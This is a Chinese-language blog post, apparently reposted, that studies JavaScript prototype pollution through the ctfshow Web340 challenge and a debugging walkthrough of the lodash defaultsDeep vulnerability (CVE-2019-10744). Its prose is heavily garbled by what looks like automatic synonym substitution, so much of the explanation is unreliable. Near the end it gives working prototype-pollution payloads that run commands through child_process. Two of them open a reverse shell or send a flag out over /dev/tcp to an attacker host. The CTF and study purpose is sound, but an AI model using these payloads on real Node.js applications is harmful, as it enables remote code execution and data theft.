JavaScript原型链污染学习记录

2023-05-29 0 299

原副标题:JavaScript蓝本链环境污染自学历史记录

0> 蓝本或其搜寻监督机制

• NodeJS蓝本监督机制,较为非官方的表述:

他们建立的每一表达式都有两个 prototype(蓝本)特性,那个特性是两个操作符,对准两个对象,

而那个第一类的商业用途是包涵能由某一类别的大部份示例共享资源的特性和方式

结构设计蓝本的本意不外乎是对每一示例第一类,其保有的协力特性没必要性对每一第一类示例再重新分配一片片缓存来放置那个特性。而能下降到大部份第一类共享资源那个属性,而那个特性的虚拟在缓存中也实际上多于这份。

而蓝本监督机制正好满足用户此种市场需求。

打个不太正确的隐喻,对每一第一类,都有其蓝本第一类做为 共享资源库房,共享资源库房特性和方式供制造每一第一类示例时采用

1> 蓝本链和承继 • 蓝本链

蓝本链是在蓝本上同时实现承继的一类方式

举个范例:

functionFather{

this.name = “father”;

this.age = 66;

}

functionSon{

this.name =“son”;

}

varfather1 = newFather;

Son. prototype= father1;

varson1 = newSon;

console. log(son1);

console. log(son1.__proto__);

console. log(son1.__proto__.__proto__);

console. log(son1.__proto__.__proto__.__proto__);

console. log(son1.__proto__.__proto__.__proto__.__proto__);

/*

Father { name: son }

Father { name: father, age: 66 }

{}

[Object: null prototype] {}

null

*/

整个的蓝本承继链如下:

JavaScript原型链污染学习记录

• 关于蓝本搜寻监督机制:

1)搜寻当前示例特性

2)搜寻当前示例的蓝本特性

3)迭代搜寻直至null

在上面的范例中

console. log(son1.name);

console. log(son1.age);

/*

son

66

*/ 2> 内置第一类的蓝本

那个也是多级蓝本链环境污染的基础

拿一张业内很经典的图来看看

JavaScript原型链污染学习记录

2.姿势利用 1>利用蓝本环境污染进行RCE global.process.mainModule.constructor. _load( child_process). execSync( calc) 2>多级环境污染

ctfshow Web340这么一题:

/* login.js */

varuser = newfunction{

this.userinfo = newfunction{

this.isVIP =false;

this.isAdmin = false;

this.isAuthor = false;

};

}

utils. copy(user.userinfo,req.body);

if(user.userinfo.isAdmin){

res. end(flag);

}

由于 Function 蓝本第一类的蓝本也是 Object 的蓝本,即

user –(__proto__)–> Function.prototype –(__proto__)–> Object.prototype

那么就能通过那个进行多级环境污染,payload为如下方式:

{

“__proto__”:{

“__proto__”:{

attack_code

}

}

} 3>Lodash模块的蓝本链环境污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12

看下非官方样例PoC的调试过程:

constlodash = require( lodash);

constpayload = {“constructor”: {“prototype”: {“whoami”: “hack”}}}

functioncheck{

lodash. defaultsDeep({}, JSON. parse(payload));

if(({})[ whoami] === “hack”) {

console. log( `Vulnerable to Prototype Pollution via${payload}` );

console. log( Object. prototype);

}

}

check;

开始调试:

在lodash中,baseRest是两个辅助表达式,用于帮助建立两个接受可变数量参数的表达式。

所以主体逻辑为,而这段匿名表达式也将为 func 的表达式的表达式体

args. push( undefined, customDefaultsMerge);

returnapply(mergeWith, undefined, args);

JavaScript原型链污染学习记录

查看 overRest

在变量监听中能发现,传入的参数整合成两个参数第一类 args

继续往下 return apply

到 apply 后进入,是个采用 switch 并且根据参数个数做为依据

发现采用了 call ,这里可能是个 进行蓝本链承继的可利用点。

(而此种技术称为 借用构造表达式,其思想就是通过子类构造表达式中调用超类构造表达式完成蓝本链承继)

functionSuper{}

functionSub{

Super. call( this); // 承继

}

然后 apply 中返回至刚才的匿名表达式体中(此时刚执行完baseRest(func)),其中 customDefaultMerge 为 merge 的声明方式

JavaScript原型链污染学习记录

继续深入,由上可知 apply(func=mergeWith,thisArg=undefined,args=Array[4])

基于 start 的计算监督机制,不难得知 undefined 是做为占位符,使得 start 向后移动

JavaScript原型链污染学习记录

继续调试,在NodeJS中,普通表达式中调用 this 等同于调用全局第一类 global

将 assigner 视为合并的两个黑盒表达式即可,至此完成蓝本链环境污染。

JavaScript原型链污染学习记录

Question: 注意到PoC中的 lodash.defaultsDeep({}, JSON.parse(payload)); 是要求先传入两个 object 示例的(此处为 {} )

所以还是具体分析一下合并的过程(来看下 assigner 的一些底层同时实现)

注意:通常而言,合并需要考虑深浅拷贝的问题

/*baseMerge*/

functionbaseMerge(object, source, srcIndex, customizer, stack) {

if(object === source) { // 优化判断是否为同一第一类,是则直接返回

return;

}

// 遍历source的特性,选择深浅复制

baseFor(source, function(srcValue, key) {

if( isObject(srcValue)) {

stack || (stack = newStack);

baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);

}

else{

varnewValue = customizer

? customizer( safeGet(object, key), srcValue, (key + ), object, source, stack)

: undefined;

if(newValue === undefined) {

newValue = srcValue;

}

assignMergeValue(object, key, newValue);

}

}, keysIn);

} varbaseFor = createBaseFor; functioncreateBaseFor(fromRight) { // fromRight选择从哪端开始遍历

returnfunction(object, iteratee, keysFunc) {

varindex = – 1,

iterable = Object(object),

props = keysFunc(object),

length = props.length;

while(length–) {

varkey = props[fromRight ? length : ++index];

if( iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名表达式

break;

}

}

returnobject;

};

}

那我就再调试一下,在 iteratee 中(即匿名表达式中),若为第一类,则选择深拷贝。

原来在4.17.12之前的版本也是有waf的,只是较为弱。

回归正题,在 customizer 之后便产生了合并

所以,为了更好地观察,我将 {} 替换成 [] ( Array 第一类示例)

重新开始调试到此处并进入,发现这是两个迭代合并的过程,先判断是否都为第一类。如果是的话,则会进行压栈然后开始浅拷贝合并。

这是在生成属性时需要设置的四种数据特性

回归正题,发现只能写入 Array 的蓝本

再验证一下

constlodash = require( lodash);

constpayload = {“constructor”: {“prototype”: {“whoami”: “hack”}}}

varobject = newObject;

functioncheck{

// JSON.parse(payload)之后是两个JS第一类

lodash.defaultsDeep([], JSON. parse(payload));

if(({})[ whoami] === “hack”) {

console. log( `Vulnerable to Prototype Pollution via${payload}` );

console. log( Object. prototype);

}

}

check;

console. log( Array. prototype);

所以说需要直接传入两个 Object 的示例。

非官方修复,直接上waf:检测JSON中的payload中的key值

此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

# 反弹shell

{ “constructor”:{ “prototype”:

{ “outputFunctionName”: “a=1;process.mainModule.require(child_process).exec(bash -c \”echo $FLAG>/dev/tcp/vps/port \”)//”}}}

# RCE

// 对某个object示例

{ “__proto__”:{ “outputFunctionName”: “a=1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag)//”}}

# 反弹shell

{ “__proto__”:{ “outputFunctionName”: “_tmp1;global.process.mainModule.require(child_process).exec(bash -c \”bash -i >& /dev/tcp/vps/port 0>&1\”);var __tmp2″}} 3.参考文献与链接

1. 《Java高级程序结构设计语言》 3. ctfshow平台题目 5. https://www.viewofthai.link/2022/04/22/lodash%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93/

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类别:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

靶场实操,戳

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务